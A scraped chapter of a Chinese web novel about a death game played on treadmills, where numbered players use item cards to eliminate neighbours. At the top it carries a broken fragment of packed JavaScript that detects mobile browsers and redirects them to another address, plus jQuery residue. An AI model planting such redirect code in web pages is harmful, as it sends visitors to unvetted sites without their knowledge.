15. 跑步了解一下4(3 / 4)
,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14598357|156008||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这种“避战”很容易理解。
毕竟在他们对面的区域,那些被【加速】又【加坡】的玩家们,正在一个个死去!
保持当前状态,先耗死其他玩家!
沈墨棠隐隐约约感觉这种策略,应该是来自于保护了31号的30号。
那个中分头。
……
游戏转到第二圈末尾。
依照前面的惯性,39号同样没有使用道具,只是他多问了句:“结盟?”
沈墨棠浅浅提了下嘴角,点点头。
暂时,结盟吧……
人和人之间,只有短暂的陪伴,和永远的分离。
没有谁能和谁真正交心,就像从小到大,身边所谓“朋友”都会因为各种原因,相互疏远,甚至相互背叛。
哪怕连自己,都有可能在某一瞬间放弃自己。
作为个体活着,当你足够强大,便不需要团队,不需要伙伴,不需要朋友。
沈墨棠只是后悔——
为什么没有好好上体育课!为什么没有好好锻炼身体!
所幸,虽然身体素质可能比不过那些“健身达人”,但至少以目前的局势而言,自己仍占据优势,无需采取其他行动。
游戏进行到第三圈。
1号看了眼吃力的2号,脸上表情有些不忍,转而开始犹豫起来。
9……
8……
7……
“扩大优势!”他扭过头不看2号:“不然我们还得多跑一圈!”
体能不行的只能靠道具卡淘汰其他人!
4……
3……
2……
1号最终在倒计时结束前下定决心,按了【加坡】!
“嘀嘀。”
沈墨棠心中一动。
在这个游戏里,对自己有威胁的人,是“前一位玩家”;至于“下一位玩家”则像一个固定的靶子,自己随时可以进行攻击。
但,这个游戏还有一个不可忽视的要点——虽然每个玩家都有5张道具卡,但实际上,能打靶的子弹只有两颗。
【加速】和【加坡】。
至于剩下的三张道具卡【暂停】、【跳过】、【反向】,都无法对“下一位玩家”造成直接威胁。
一旦某个玩家的【加速】和【加坡】都使用了,对于相邻的其他玩家而言,就只成为其安全的“肉盾”。
是的。肉盾。
所有道具卡都只影响“下一位玩家”,所以相邻玩家之间既是竞争,也可以相互保护。
游戏中最安全的状态,就是让左右两侧的玩家都对外“打光子弹”。这样不论是否有玩家使用【反向】调转游戏方向,自己都始终不会受到攻击。
直至相邻的玩家先倒下。
例如现在,就算游戏进行的方向逆转,1号也没有道具卡可以攻击沈墨棠,而且还能帮她挡住来自2号及之后玩家的攻击。
沈墨棠看向另一边。
同理,39号对自己有威胁,但只要有人使用【反转】,她最好的选择是早点让他的【加速】和【加坡】使用在38号身上。
目前基本游戏策略,就是尽可能在身边制造出无威胁的“肉盾”……等到“肉盾”淘汰了,再想方设法制造一个新的“肉盾”……这样就自己就能始终占据优势!
如果连这样,最终都跑不过那些“体能怪兽”……
沈墨棠无奈地看向对面表情轻松的20号,胃部又是一阵绞痛。
“坚!持!就是胜!利!我是谁?我是狼!狼行千里吃肉!坚!持!”
1号刚做完选择,红光还没撤去,就听见7号忽然厉声大喊着打气加油的话。
附近的几个人睨了他一眼,又专注于各自跑步节奏。
“7公里/小时,坡度5°”的慢跑节奏,正常人跑十分钟以上就会开始喘气,心率提高,逐渐进入燃脂,浑身开始发热,开始感受到呼吸频率加快。
这时候需要尽可能延长呼吸,让肺部尽可能充满氧气,扩张,来保证身体的稳定,避免过快出现“运动极限点”。
沈墨棠不太了解运动中“极点”的事情。
只记得以前体育老师说过,长跑时,如果你觉得特别特别难受,就是身体出现“极点”,只要坚持克服过去,就能完成“第
↑返回顶部↑